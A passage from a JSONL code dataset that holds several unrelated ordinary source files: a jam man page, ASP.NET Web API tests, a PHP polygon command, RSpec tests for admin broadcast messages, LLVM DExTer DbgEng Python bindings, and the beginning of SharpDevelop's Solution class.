index\n def jobs_hash\n hash = {}\n jobs.each_with_index { |job, idx| hash[idx.to_s] = job }\n hash\n end\n end\nend\n"} +{"text": " manpage.1'. You may view\n the manual page with: `docbook-to-man manpage.sgml | nroff -man |\n less'. A typical entry in a Makefile or Makefile.am is:\n\nmanpage.1: manpage.sgml\n\tdocbook-to-man $< > $@\n -->\n\n Yann\">\n Dirson\">\n \n mai 23, 2001\">\n dirson@debian.org\">\n \n \n\n Debian GNU/Linux\">\n GNU\">\n]>\n\n\n \n

\n &dhemail;\n
\n \n &dhfirstname;\n &dhsurname;\n \n \n 2001\n &dhusername;\n \n &dhdate;\n \n\n \n JAM\n 1\n \n\n \n Jam/MR\n Make(1) Redux\n \n\n \n \n jam\n\n \n \n \n\n \n \n \n \n \n \n\n \n \n \n\n \n DESCRIPTION\n\n Jam is a program construction tool, like make(1).\n\n Jam recursively builds target files from source files, using\n dependency information and updating actions expressed in the\n Jambase file, which is written in jam's own interpreted language.\n The default Jambase is compiled into jam and provides a\n boilerplate for common use, relying on a user-provide file\n \"Jamfile\" to enumerate actual targets and sources.\n \n\n \n OPTIONS\n\n \n \n \n\n \n \n \n Enable cummulative debugging levels from 1 to\n\t \n\t \n\n\t \n\n\t Show\n\t dependency analysis, and target/source\n\t timestamps/paths\n\n\t \n\n\t \n\n\t Show\n\t directory/header file/archive\n\t scans\n\n\t \n\n\t \n\n\t \n\t \n\t \n \n \n\n \n \n \n Enable debugging level \n \n \n\n \n \n\n \n \n \n Read \n \n \n\n \n \n \n Run up to \n \n \n\n \n \n\n \n \n \n Write the updating actions to the specified file\n instead of running them (or outputting them, as on the\n Mac).\n \n \n\n \n \n \n Set the variable \n \n \n\n \n \n \n Rebuild \n \n \n\n \n \n\n \n \n\n \n SEE ALSO\n\n Jam is documented fully in HTML pages available on Debian\n systems from\n /usr/share/doc/jam/Jam.html.\n \n\n \n AUTHOR\n\n This manual page was created by &dhusername; &dhemail; from\n the \n \n\n\n\n"} +{"text": "// Copyright (c) Microsoft Open Technologies, Inc. All rights reserved. See License.txt in the project root for license information.\n\nusing System.Collections.Generic;\nusing System.Net;\nusing System.Net.Http;\nusing System.Net.Http.Formatting;\nusing System.Net.Http.Headers;\nusing System.ServiceModel;\nusing System.Web.Http.SelfHost;\nusing System.Web.Http.Util;\nusing Microsoft.TestCommon;\n\nnamespace System.Web.Http.ContentNegotiation\n{\n public class HttpResponseReturnTests\n {\n private HttpServer server = null;\n private string baseAddress = null;\n private HttpClient httpClient = null;\n\n public HttpResponseReturnTests()\n {\n this.SetupHost();\n }\n\n [Theory]\n [InlineData(\"ReturnHttpResponseMessage\")]\n [InlineData(\"ReturnHttpResponseMessageAsObject\")]\n [InlineData(\"ReturnString\")]\n public void ActionReturnsHttpResponseMessage(string action)\n {\n string expectedResponseValue = @\"Hello\";\n\n HttpRequestMessage request = new HttpRequestMessage();\n request.RequestUri = new Uri(baseAddress + String.Format(\"HttpResponseReturn/{0}\", action));\n request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue(\"application/xml\"));\n request.Method = HttpMethod.Get;\n\n HttpResponseMessage response = httpClient.SendAsync(request).Result;\n\n Assert.NotNull(response.Content);\n Assert.NotNull(response.Content.Headers.ContentType);\n Assert.Equal(\"application/xml\", response.Content.Headers.ContentType.MediaType);\n Assert.Equal(expectedResponseValue, response.Content.ReadAsStringAsync().Result);\n }\n\n [Theory]\n [InlineData(\"ReturnHttpResponseMessageAsXml\")]\n public void ActionReturnsHttpResponseMessageWithExplicitMediaType(string action)\n {\n string expectedResponseValue = @\"Hello\";\n\n HttpRequestMessage request = new HttpRequestMessage();\n request.RequestUri = new Uri(baseAddress + String.Format(\"HttpResponseReturn/{0}\", action));\n request.Method = HttpMethod.Get;\n\n HttpResponseMessage response = httpClient.SendAsync(request).Result;\n\n Assert.NotNull(response.Content);\n Assert.NotNull(response.Content.Headers.ContentType);\n Assert.Equal(\"application/xml\", response.Content.Headers.ContentType.MediaType);\n Assert.Equal(expectedResponseValue, response.Content.ReadAsStringAsync().Result);\n }\n\n [Theory]\n [InlineData(\"ReturnMultipleSetCookieHeaders\")]\n public void ReturnMultipleSetCookieHeadersShouldWork(string action)\n {\n HttpRequestMessage request = new HttpRequestMessage();\n request.RequestUri = new Uri(baseAddress + String.Format(\"HttpResponseReturn/{0}\", action));\n request.Method = HttpMethod.Get;\n HttpResponseMessage response = httpClient.SendAsync(request).Result;\n response.EnsureSuccessStatusCode();\n IEnumerable list;\n Assert.True(response.Headers.TryGetValues(\"Set-Cookie\", out list));\n Assert.Equal(new[] { \"cookie1\", \"cookie2\" }, list);\n }\n\n public void SetupHost()\n {\n baseAddress = \"http://localhost/\";\n\n HttpSelfHostConfiguration config = new HttpSelfHostConfiguration(baseAddress);\n config.Routes.MapHttpRoute(\"Default\", \"{controller}/{action}\", new { controller = \"HttpResponseReturn\" });\n config.MessageHandlers.Add(new ConvertToStreamMessageHandler());\n\n server = new HttpServer(config);\n httpClient = new HttpClient(server);\n }\n }\n\n public class HttpResponseReturnController : ApiController\n {\n [HttpGet]\n public HttpResponseMessage ReturnHttpResponseMessage()\n {\n return Request.CreateResponse(HttpStatusCode.OK, \"Hello\");\n }\n\n [HttpGet]\n public object ReturnHttpResponseMessageAsObject()\n {\n return ReturnHttpResponseMessage();\n }\n\n [HttpGet]\n public HttpResponseMessage ReturnHttpResponseMessageAsXml()\n {\n HttpResponseMessage response = new HttpResponseMessage()\n {\n Content = new ObjectContent(\"Hello\", new XmlMediaTypeFormatter())\n };\n return response;\n }\n\n [HttpGet]\n public string ReturnString()\n {\n return \"Hello\";\n }\n\n [HttpGet]\n public HttpResponseMessage ReturnMultipleSetCookieHeaders()\n {\n HttpResponseMessage resp = new HttpResponseMessage(HttpStatusCode.OK);\n resp.Headers.Add(\"Set-Cookie\", \"cookie1\");\n resp.Headers.Add(\"Set-Cookie\", \"cookie2\");\n return resp;\n }\n }\n}"} +{"text": "argument(0)->type('array')->required()->value();\n $callback = $this->argument(1)->type('closure')->value();\n\n $vertices_count = count($points);\n\n // check if number if coordinates is even\n if ($vertices_count % 2 !== 0) {\n throw new InvalidArgumentException(\n \"The number of given polygon vertices must be even.\"\n );\n }\n\n if ($vertices_count < 6) {\n throw new InvalidArgumentException(\n \"You must have at least 3 points in your array.\"\n );\n }\n \n $polygon_classname = sprintf('\\Intervention\\Image\\%s\\Shapes\\PolygonShape',\n $image->getDriver()->getDriverName());\n\n $polygon = new $polygon_classname($points);\n \n if ($callback instanceof Closure) {\n $callback($polygon);\n }\n\n $polygon->applyToImage($image);\n\n return true;\n }\n}\n"} +{"text": "# frozen_string_literal: true\n\nrequire 'spec_helper'\n\nRSpec.describe 'Admin Broadcast Messages' do\n before do\n sign_in(create(:admin))\n create(:broadcast_message, :expired, message: 'Migration to new server')\n visit admin_broadcast_messages_path\n end\n\n it 'See broadcast messages list' do\n expect(page).to have_content 'Migration to new server'\n end\n\n it 'creates a customized broadcast banner message' do\n fill_in 'broadcast_message_message', with: 'Application update from **4:00 CST to 5:00 CST**'\n fill_in 'broadcast_message_color', with: '#f2dede'\n fill_in 'broadcast_message_target_path', with: '*/user_onboarded'\n fill_in 'broadcast_message_font', with: '#b94a48'\n select Date.today.next_year.year, from: 'broadcast_message_ends_at_1i'\n click_button 'Add broadcast message'\n\n expect(current_path).to eq admin_broadcast_messages_path\n expect(page).to have_content 'Application update from 4:00 CST to 5:00 CST'\n expect(page).to have_content '*/user_onboarded'\n expect(page).to have_selector 'strong', text: '4:00 CST to 5:00 CST'\n expect(page).to have_selector %(div[style=\"background-color: #f2dede; color: #b94a48\"])\n end\n\n it 'creates a customized broadcast notification message' do\n fill_in 'broadcast_message_message', with: 'Application update from **4:00 CST to 5:00 CST**'\n fill_in 'broadcast_message_target_path', with: '*/user_onboarded'\n select 'Notification', from: 'broadcast_message_broadcast_type'\n select Date.today.next_year.year, from: 'broadcast_message_ends_at_1i'\n click_button 'Add broadcast message'\n\n expect(current_path).to eq admin_broadcast_messages_path\n expect(page).to have_content 'Application update from 4:00 CST to 5:00 CST'\n expect(page).to have_content '*/user_onboarded'\n expect(page).to have_content 'Notification'\n expect(page).to have_selector 'strong', text: '4:00 CST to 5:00 CST'\n end\n\n it 'Edit an existing broadcast message' do\n click_link 'Edit'\n fill_in 'broadcast_message_message', with: 'Application update RIGHT NOW'\n click_button 'Update broadcast message'\n\n expect(current_path).to eq admin_broadcast_messages_path\n expect(page).to have_content 'Application update RIGHT NOW'\n end\n\n it 'Remove an existing broadcast message' do\n click_link 'Remove'\n\n expect(current_path).to eq admin_broadcast_messages_path\n expect(page).not_to have_content 'Migration to new server'\n end\n\n it 'updates a preview of a customized broadcast banner message', :js do\n fill_in 'broadcast_message_message', with: \"Live **Markdown** previews. :tada:\"\n\n page.within('.js-broadcast-banner-message-preview') do\n expect(page).to have_selector('strong', text: 'Markdown')\n expect(page).to have_emoji('tada')\n end\n end\n\n it 'updates a preview of a customized broadcast notification message', :js do\n fill_in 'broadcast_message_message', with: \"Live **Markdown** previews. :tada:\"\n select 'Notification', from: 'broadcast_message_broadcast_type'\n\n page.within('.js-broadcast-notification-message-preview') do\n expect(page).to have_selector('strong', text: 'Markdown')\n expect(page).to have_emoji('tada')\n end\n end\nend\n"} +{"text": "# DExTer : Debugging Experience Tester\n# ~~~~~~ ~ ~~ ~ ~~\n#\n# Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n# See https://llvm.org/LICENSE.txt for license information.\n# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\nfrom ctypes import *\nfrom functools import partial\n\nfrom .utils import *\nfrom .breakpoint import *\n\nclass DEBUG_STACK_FRAME_EX(Structure):\n _fields_ = [\n (\"InstructionOffset\", c_ulonglong),\n (\"ReturnOffset\", c_ulonglong),\n (\"FrameOffset\", c_ulonglong),\n (\"StackOffset\", c_ulonglong),\n (\"FuncTableEntry\", c_ulonglong),\n (\"Params\", c_ulonglong * 4),\n (\"Reserved\", c_ulonglong * 6),\n (\"Virtual\", c_bool),\n (\"FrameNumber\", c_ulong),\n (\"InlineFrameContext\", c_ulong),\n (\"Reserved1\", c_ulong)\n ]\nPDEBUG_STACK_FRAME_EX = POINTER(DEBUG_STACK_FRAME_EX)\n\nclass DEBUG_VALUE_U(Union):\n _fields_ = [\n (\"I8\", c_byte),\n (\"I16\", c_short),\n (\"I32\", c_int),\n (\"I64\", c_long),\n (\"F32\", c_float),\n (\"F64\", c_double),\n (\"RawBytes\", c_ubyte * 24) # Force length to 24b.\n ]\n\nclass DEBUG_VALUE(Structure):\n _fields_ = [\n (\"U\", DEBUG_VALUE_U),\n (\"TailOfRawBytes\", c_ulong),\n (\"Type\", c_ulong)\n ]\nPDEBUG_VALUE = POINTER(DEBUG_VALUE)\n\nclass DebugValueType(IntEnum):\n DEBUG_VALUE_INVALID = 0\n DEBUG_VALUE_INT8 = 1\n DEBUG_VALUE_INT16 = 2\n DEBUG_VALUE_INT32 = 3\n DEBUG_VALUE_INT64 = 4\n DEBUG_VALUE_FLOAT32 = 5\n DEBUG_VALUE_FLOAT64 = 6\n DEBUG_VALUE_FLOAT80 = 7\n DEBUG_VALUE_FLOAT82 = 8\n DEBUG_VALUE_FLOAT128 = 9\n DEBUG_VALUE_VECTOR64 = 10\n DEBUG_VALUE_VECTOR128 = 11\n DEBUG_VALUE_TYPES = 12\n\n# UUID for DebugControl7 interface.\nDebugControl7IID = IID(0xb86fb3b1, 0x80d4, 0x475b, IID_Data4_Type(0xae, 0xa3, 0xcf, 0x06, 0x53, 0x9c, 0xf6, 0x3a))\n\nclass IDebugControl7(Structure):\n pass\n\nclass IDebugControl7Vtbl(Structure):\n wrp = partial(WINFUNCTYPE, c_long, POINTER(IDebugControl7))\n idc_getnumbereventfilters = wrp(c_ulong_p, c_ulong_p, c_ulong_p)\n idc_setexceptionfiltersecondcommand = wrp(c_ulong, c_char_p)\n idc_waitforevent = wrp(c_long, c_long)\n idc_execute = wrp(c_long, c_char_p, c_long)\n idc_setexpressionsyntax = wrp(c_ulong)\n idc_addbreakpoint2 = wrp(c_ulong, c_ulong, POINTER(POINTER(DebugBreakpoint2)))\n idc_setexecutionstatus = wrp(c_ulong)\n idc_getexecutionstatus = wrp(c_ulong_p)\n idc_getstacktraceex = wrp(c_ulonglong, c_ulonglong, c_ulonglong, PDEBUG_STACK_FRAME_EX, c_ulong, c_ulong_p)\n idc_evaluate = wrp(c_char_p, c_ulong, PDEBUG_VALUE, c_ulong_p)\n idc_setengineoptions = wrp(c_ulong)\n _fields_ = [\n (\"QueryInterface\", c_void_p),\n (\"AddRef\", c_void_p),\n (\"Release\", c_void_p),\n (\"GetInterrupt\", c_void_p),\n (\"SetInterrupt\", c_void_p),\n (\"GetInterruptTimeout\", c_void_p),\n (\"SetInterruptTimeout\", c_void_p),\n (\"GetLogFile\", c_void_p),\n (\"OpenLogFile\", c_void_p),\n (\"CloseLogFile\", c_void_p),\n (\"GetLogMask\", c_void_p),\n (\"SetLogMask\", c_void_p),\n (\"Input\", c_void_p),\n (\"ReturnInput\", c_void_p),\n (\"Output\", c_void_p),\n (\"OutputVaList\", c_void_p),\n (\"ControlledOutput\", c_void_p),\n (\"ControlledOutputVaList\", c_void_p),\n (\"OutputPrompt\", c_void_p),\n (\"OutputPromptVaList\", c_void_p),\n (\"GetPromptText\", c_void_p),\n (\"OutputCurrentState\", c_void_p),\n (\"OutputVersionInformation\", c_void_p),\n (\"GetNotifyEventHandle\", c_void_p),\n (\"SetNotifyEventHandle\", c_void_p),\n (\"Assemble\", c_void_p),\n (\"Disassemble\", c_void_p),\n (\"GetDisassembleEffectiveOffset\", c_void_p),\n (\"OutputDisassembly\", c_void_p),\n (\"OutputDisassemblyLines\", c_void_p),\n (\"GetNearInstruction\", c_void_p),\n (\"GetStackTrace\", c_void_p),\n (\"GetReturnOffset\", c_void_p),\n (\"OutputStackTrace\", c_void_p),\n (\"GetDebuggeeType\", c_void_p),\n (\"GetActualProcessorType\", c_void_p),\n (\"GetExecutingProcessorType\", c_void_p),\n (\"GetNumberPossibleExecutingProcessorTypes\", c_void_p),\n (\"GetPossibleExecutingProcessorTypes\", c_void_p),\n (\"GetNumberProcessors\", c_void_p),\n (\"GetSystemVersion\", c_void_p),\n (\"GetPageSize\", c_void_p),\n (\"IsPointer64Bit\", c_void_p),\n (\"ReadBugCheckData\", c_void_p),\n (\"GetNumberSupportedProcessorTypes\", c_void_p),\n (\"GetSupportedProcessorTypes\", c_void_p),\n (\"GetProcessorTypeNames\", c_void_p),\n (\"GetEffectiveProcessorType\", c_void_p),\n (\"SetEffectiveProcessorType\", c_void_p),\n (\"GetExecutionStatus\", idc_getexecutionstatus),\n (\"SetExecutionStatus\", idc_setexecutionstatus),\n (\"GetCodeLevel\", c_void_p),\n (\"SetCodeLevel\", c_void_p),\n (\"GetEngineOptions\", c_void_p),\n (\"AddEngineOptions\", c_void_p),\n (\"RemoveEngineOptions\", c_void_p),\n (\"SetEngineOptions\", idc_setengineoptions),\n (\"GetSystemErrorControl\", c_void_p),\n (\"SetSystemErrorControl\", c_void_p),\n (\"GetTextMacro\", c_void_p),\n (\"SetTextMacro\", c_void_p),\n (\"GetRadix\", c_void_p),\n (\"SetRadix\", c_void_p),\n (\"Evaluate\", idc_evaluate),\n (\"CoerceValue\", c_void_p),\n (\"CoerceValues\", c_void_p),\n (\"Execute\", idc_execute),\n (\"ExecuteCommandFile\", c_void_p),\n (\"GetNumberBreakpoints\", c_void_p),\n (\"GetBreakpointByIndex\", c_void_p),\n (\"GetBreakpointById\", c_void_p),\n (\"GetBreakpointParameters\", c_void_p),\n (\"AddBreakpoint\", c_void_p),\n (\"RemoveBreakpoint\", c_void_p),\n (\"AddExtension\", c_void_p),\n (\"RemoveExtension\", c_void_p),\n (\"GetExtensionByPath\", c_void_p),\n (\"CallExtension\", c_void_p),\n (\"GetExtensionFunction\", c_void_p),\n (\"GetWindbgExtensionApis32\", c_void_p),\n (\"GetWindbgExtensionApis64\", c_void_p),\n (\"GetNumberEventFilters\", idc_getnumbereventfilters),\n (\"GetEventFilterText\", c_void_p),\n (\"GetEventFilterCommand\", c_void_p),\n (\"SetEventFilterCommand\", c_void_p),\n (\"GetSpecificFilterParameters\", c_void_p),\n (\"SetSpecificFilterParameters\", c_void_p),\n (\"GetSpecificFilterArgument\", c_void_p),\n (\"SetSpecificFilterArgument\", c_void_p),\n (\"GetExceptionFilterParameters\", c_void_p),\n (\"SetExceptionFilterParameters\", c_void_p),\n (\"GetExceptionFilterSecondCommand\", c_void_p),\n (\"SetExceptionFilterSecondCommand\", idc_setexceptionfiltersecondcommand),\n (\"WaitForEvent\", idc_waitforevent),\n (\"GetLastEventInformation\", c_void_p),\n (\"GetCurrentTimeDate\", c_void_p),\n (\"GetCurrentSystemUpTime\", c_void_p),\n (\"GetDumpFormatFlags\", c_void_p),\n (\"GetNumberTextReplacements\", c_void_p),\n (\"GetTextReplacement\", c_void_p),\n (\"SetTextReplacement\", c_void_p),\n (\"RemoveTextReplacements\", c_void_p),\n (\"OutputTextReplacements\", c_void_p),\n (\"GetAssemblyOptions\", c_void_p),\n (\"AddAssemblyOptions\", c_void_p),\n (\"RemoveAssemblyOptions\", c_void_p),\n (\"SetAssemblyOptions\", c_void_p),\n (\"GetExpressionSyntax\", c_void_p),\n (\"SetExpressionSyntax\", idc_setexpressionsyntax),\n (\"SetExpressionSyntaxByName\", c_void_p),\n (\"GetNumberExpressionSyntaxes\", c_void_p),\n (\"GetExpressionSyntaxNames\", c_void_p),\n (\"GetNumberEvents\", c_void_p),\n (\"GetEventIndexDescription\", c_void_p),\n (\"GetCurrentEventIndex\", c_void_p),\n (\"SetNextEventIndex\", c_void_p),\n (\"GetLogFileWide\", c_void_p),\n (\"OpenLogFileWide\", c_void_p),\n (\"InputWide\", c_void_p),\n (\"ReturnInputWide\", c_void_p),\n (\"OutputWide\", c_void_p),\n (\"OutputVaListWide\", c_void_p),\n (\"ControlledOutputWide\", c_void_p),\n (\"ControlledOutputVaListWide\", c_void_p),\n (\"OutputPromptWide\", c_void_p),\n (\"OutputPromptVaListWide\", c_void_p),\n (\"GetPromptTextWide\", c_void_p),\n (\"AssembleWide\", c_void_p),\n (\"DisassembleWide\", c_void_p),\n (\"GetProcessrTypeNamesWide\", c_void_p),\n (\"GetTextMacroWide\", c_void_p),\n (\"SetTextMacroWide\", c_void_p),\n (\"EvaluateWide\", c_void_p),\n (\"ExecuteWide\", c_void_p),\n (\"ExecuteCommandFileWide\", c_void_p),\n (\"GetBreakpointByIndex2\", c_void_p),\n (\"GetBreakpointById2\", c_void_p),\n (\"AddBreakpoint2\", idc_addbreakpoint2),\n (\"RemoveBreakpoint2\", c_void_p),\n (\"AddExtensionWide\", c_void_p),\n (\"GetExtensionByPathWide\", c_void_p),\n (\"CallExtensionWide\", c_void_p),\n (\"GetExtensionFunctionWide\", c_void_p),\n (\"GetEventFilterTextWide\", c_void_p),\n (\"GetEventfilterCommandWide\", c_void_p),\n (\"SetEventFilterCommandWide\", c_void_p),\n (\"GetSpecificFilterArgumentWide\", c_void_p),\n (\"SetSpecificFilterArgumentWide\", c_void_p),\n (\"GetExceptionFilterSecondCommandWide\", c_void_p),\n (\"SetExceptionFilterSecondCommandWider\", c_void_p),\n (\"GetLastEventInformationWide\", c_void_p),\n (\"GetTextReplacementWide\", c_void_p),\n (\"SetTextReplacementWide\", c_void_p),\n (\"SetExpressionSyntaxByNameWide\", c_void_p),\n (\"GetExpressionSyntaxNamesWide\", c_void_p),\n (\"GetEventIndexDescriptionWide\", c_void_p),\n (\"GetLogFile2\", c_void_p),\n (\"OpenLogFile2\", c_void_p),\n (\"GetLogFile2Wide\", c_void_p),\n (\"OpenLogFile2Wide\", c_void_p),\n (\"GetSystemVersionValues\", c_void_p),\n (\"GetSystemVersionString\", c_void_p),\n (\"GetSystemVersionStringWide\", c_void_p),\n (\"GetContextStackTrace\", c_void_p),\n (\"OutputContextStackTrace\", c_void_p),\n (\"GetStoredEventInformation\", c_void_p),\n (\"GetManagedStatus\", c_void_p),\n (\"GetManagedStatusWide\", c_void_p),\n (\"ResetManagedStatus\", c_void_p),\n (\"GetStackTraceEx\", idc_getstacktraceex),\n (\"OutputStackTraceEx\", c_void_p),\n (\"GetContextStackTraceEx\", c_void_p),\n (\"OutputContextStackTraceEx\", c_void_p),\n (\"GetBreakpointByGuid\", c_void_p),\n (\"GetExecutionStatusEx\", c_void_p),\n (\"GetSynchronizationStatus\", c_void_p),\n (\"GetDebuggeeType2\", c_void_p)\n ]\n\nIDebugControl7._fields_ = [(\"lpVtbl\", POINTER(IDebugControl7Vtbl))]\n\nclass DebugStatus(IntEnum):\n DEBUG_STATUS_NO_CHANGE = 0\n DEBUG_STATUS_GO = 1\n DEBUG_STATUS_GO_HANDLED = 2\n DEBUG_STATUS_GO_NOT_HANDLED = 3\n DEBUG_STATUS_STEP_OVER = 4\n DEBUG_STATUS_STEP_INTO = 5\n DEBUG_STATUS_BREAK = 6\n DEBUG_STATUS_NO_DEBUGGEE = 7\n DEBUG_STATUS_STEP_BRANCH = 8\n DEBUG_STATUS_IGNORE_EVENT = 9\n DEBUG_STATUS_RESTART_REQUESTED = 10\n DEBUG_STATUS_REVERSE_GO = 11\n DEBUG_STATUS_REVERSE_STEP_BRANCH = 12\n DEBUG_STATUS_REVERSE_STEP_OVER = 13\n DEBUG_STATUS_REVERSE_STEP_INTO = 14\n DEBUG_STATUS_OUT_OF_SYNC = 15\n DEBUG_STATUS_WAIT_INPUT = 16\n DEBUG_STATUS_TIMEOUT = 17\n\nclass DebugSyntax(IntEnum):\n DEBUG_EXPR_MASM = 0\n DEBUG_EXPR_CPLUSPLUS = 1\n\nclass Control(object):\n def __init__(self, control):\n self.ptr = control\n self.control = control.contents\n self.vt = self.control.lpVtbl.contents\n # Keep a handy ulong for passing into C methods.\n self.ulong = c_ulong()\n\n def GetExecutionStatus(self, doprint=False):\n ret = self.vt.GetExecutionStatus(self.control, byref(self.ulong))\n aborter(ret, \"GetExecutionStatus\")\n status = DebugStatus(self.ulong.value)\n if doprint:\n print(\"Execution status: {}\".format(status))\n return status\n\n def SetExecutionStatus(self, status):\n assert isinstance(status, DebugStatus)\n res = self.vt.SetExecutionStatus(self.control, status.value)\n aborter(res, \"SetExecutionStatus\")\n\n def WaitForEvent(self, timeout=100):\n # No flags are taken by WaitForEvent, hence 0\n ret = self.vt.WaitForEvent(self.control, 0, timeout)\n aborter(ret, \"WaitforEvent\", ignore=[S_FALSE])\n return ret\n\n def GetNumberEventFilters(self):\n specific_events = c_ulong()\n specific_exceptions = c_ulong()\n arbitrary_exceptions = c_ulong()\n res = self.vt.GetNumberEventFilters(self.control, byref(specific_events),\n byref(specific_exceptions),\n byref(arbitrary_exceptions))\n aborter(res, \"GetNumberEventFilters\")\n return (specific_events.value, specific_exceptions.value,\n arbitrary_exceptions.value)\n\n def SetExceptionFilterSecondCommand(self, index, command):\n buf = create_string_buffer(command.encode('ascii'))\n res = self.vt.SetExceptionFilterSecondCommand(self.control, index, buf)\n aborter(res, \"SetExceptionFilterSecondCommand\")\n return\n\n def AddBreakpoint2(self, offset=None, enabled=None):\n breakpoint = POINTER(DebugBreakpoint2)()\n res = self.vt.AddBreakpoint2(self.control, BreakpointTypes.DEBUG_BREAKPOINT_CODE, DEBUG_ANY_ID, byref(breakpoint))\n aborter(res, \"Add breakpoint 2\")\n bp = Breakpoint(breakpoint)\n\n if offset is not None:\n bp.SetOffset(offset)\n if enabled is not None and enabled:\n bp.SetFlags(BreakpointFlags.DEBUG_BREAKPOINT_ENABLED)\n\n return bp\n\n def RemoveBreakpoint(self, bp):\n res = self.vt.RemoveBreakpoint2(self.control, bp.breakpoint)\n aborter(res, \"RemoveBreakpoint2\")\n bp.die()\n\n def GetStackTraceEx(self):\n # XXX -- I can't find a way to query for how many stack frames there _are_\n # in advance. Guess 128 for now.\n num_frames_buffer = 128\n\n frames = (DEBUG_STACK_FRAME_EX * num_frames_buffer)()\n numframes = c_ulong()\n\n # First three args are frame/stack/IP offsets -- leave them as zero to\n # default to the current instruction.\n res = self.vt.GetStackTraceEx(self.control, 0, 0, 0, frames, num_frames_buffer, byref(numframes))\n aborter(res, \"GetStackTraceEx\")\n return frames, numframes.value\n\n def Execute(self, command):\n # First zero is DEBUG_OUTCTL_*, which we leave as a default, second\n # zero is DEBUG_EXECUTE_* flags, of which we set none.\n res = self.vt.Execute(self.control, 0, command.encode('ascii'), 0)\n aborter(res, \"Client execute\")\n\n def SetExpressionSyntax(self, cpp=True):\n if cpp:\n syntax = DebugSyntax.DEBUG_EXPR_CPLUSPLUS\n else:\n syntax = DebugSyntax.DEBUG_EXPR_MASM\n\n res = self.vt.SetExpressionSyntax(self.control, syntax)\n aborter(res, \"SetExpressionSyntax\")\n\n def Evaluate(self, expr):\n ptr = DEBUG_VALUE()\n res = self.vt.Evaluate(self.control, expr.encode(\"ascii\"), DebugValueType.DEBUG_VALUE_INVALID, byref(ptr), None)\n aborter(res, \"Evaluate\", ignore=[E_INTERNALEXCEPTION, E_FAIL])\n if res != 0:\n return None\n\n val_type = DebugValueType(ptr.Type)\n\n # Here's a map from debug value types to fields. Unclear what happens\n # with unsigned values, as DbgEng doesn't present any unsigned fields.\n\n extract_map = {\n DebugValueType.DEBUG_VALUE_INT8 : (\"I8\", \"char\"),\n DebugValueType.DEBUG_VALUE_INT16 : (\"I16\", \"short\"),\n DebugValueType.DEBUG_VALUE_INT32 : (\"I32\", \"int\"),\n DebugValueType.DEBUG_VALUE_INT64 : (\"I64\", \"long\"),\n DebugValueType.DEBUG_VALUE_FLOAT32 : (\"F32\", \"float\"),\n DebugValueType.DEBUG_VALUE_FLOAT64 : (\"F64\", \"double\")\n } # And everything else is invalid.\n\n if val_type not in extract_map:\n raise Exception(\"Unexpected debug value type {} when evalutaing\".format(val_type))\n\n # Also produce a type name...\n\n return getattr(ptr.U, extract_map[val_type][0]), extract_map[val_type][1]\n\n def SetEngineOptions(self, opt):\n res = self.vt.SetEngineOptions(self.control, opt)\n aborter(res, \"SetEngineOptions\")\n return\n"} +{"text": "// Copyright (c) 2014 AlphaSierraPapa for the SharpDevelop Team\n// \n// Permission is hereby granted, free of charge, to any person obtaining a copy of this\n// software and associated documentation files (the \"Software\"), to deal in the Software\n// without restriction, including without limitation the rights to use, copy, modify, merge,\n// publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons\n// to whom the Software is furnished to do so, subject to the following conditions:\n// \n// The above copyright notice and this permission notice shall be included in all copies or\n// substantial portions of the Software.\n// \n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\n// INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR\n// PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE\n// FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n// DEALINGS IN THE SOFTWARE.\n\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Drawing.Design;\nusing System.IO;\nusing System.Linq;\nusing System.Windows.Threading;\nusing System.Xml;\nusing ICSharpCode.Core;\nusing ICSharpCode.NRefactory;\nusing ICSharpCode.SharpDevelop.Dom;\nusing ICSharpCode.SharpDevelop.Gui;\nusing ICSharpCode.SharpDevelop.Workbench;\n\nnamespace ICSharpCode.SharpDevelop.Project\n{\n\tclass Solution : SolutionFolder, ISolution\n\t{\n\t\tFileName fileName;\n\t\tFileName sdSettingsFileName;\n\t\tDirectoryName directory;\n\t\treadonly IProjectChangeWatcher changeWatcher;\n\t\treadonly IFileService fileService;\n\t\tinternal Version currVSVersion, minVSVersion;\n\t\t\n\t\tstatic readonly Version DefaultVSVersion = new Version(12, 0, 20827, 3);\n\t\tstatic readonly Version DefaultMinVSVersion = new Version(10, 0, 40219, 1);\n\t\t\n\t\tpublic Solution(FileName fileName, IProjectChangeWatcher changeWatcher, IFileService fileService)\n\t\t{\n\t\t\tthis.changeWatcher = changeWatcher;\n\t\t\tthis.fileService = fileService;\n\t\t\tthis.ConfigurationNames = new SolutionConfigurationOrPlatformNameCollection(this, false);\n\t\t\tthis.PlatformNames = new SolutionConfigurationOrPlatformNameCollection(this, true);\n\t\t\tthis.projects = new SynchronizedModelCollection(new ProjectModelCollection(this));\n\t\t\tthis.FileName = fileName;\n\t\t\tthis.sdSettingsFileName = new FileName(fileName + \".sdsettings\");\n\t\t\tbase.Name = fileName.GetFileNameWithoutExtension();\n\t\t\t\n\t\t\tthis.globalSections = new SynchronizedModelCollection(new NullSafeSimpleModelCollection());\n\t\t\tglobalSections.CollectionChanged += OnSolutionSectionCollectionChanged;\n\t\t\t\n\t\t\tfileService.FileRenamed += FileServiceFileRenamed;\n\t\t\tfileService.FileRemoved += FileServiceFileRemoved;\n\t\t\tchangeWatcher.Enable();\n\t\t}\n\t\t\n\t\tpublic void Dispose()\n\t\t{\n\t\t\tfileService.FileRenamed -= FileServiceFileRenamed;\n\t\t\tfileService.FileRemoved -= FileServiceFileRemoved;\n\t\t\t\n\t\t\tchangeWatcher.Dispose();\n\t\t\tforeach (var project in this.Projects) {\n\t\t\t\tproject.Dispose();\n\t\t\t}\n\t\t}\n\t\t\n\t\t/// \n\t\t/// Gets whether the solution is open in the IDE.\n\t\t/// \n\t\tinternal bool IsLoaded {\n\t\t\tget { return SD.ProjectService.CurrentSolution == this; 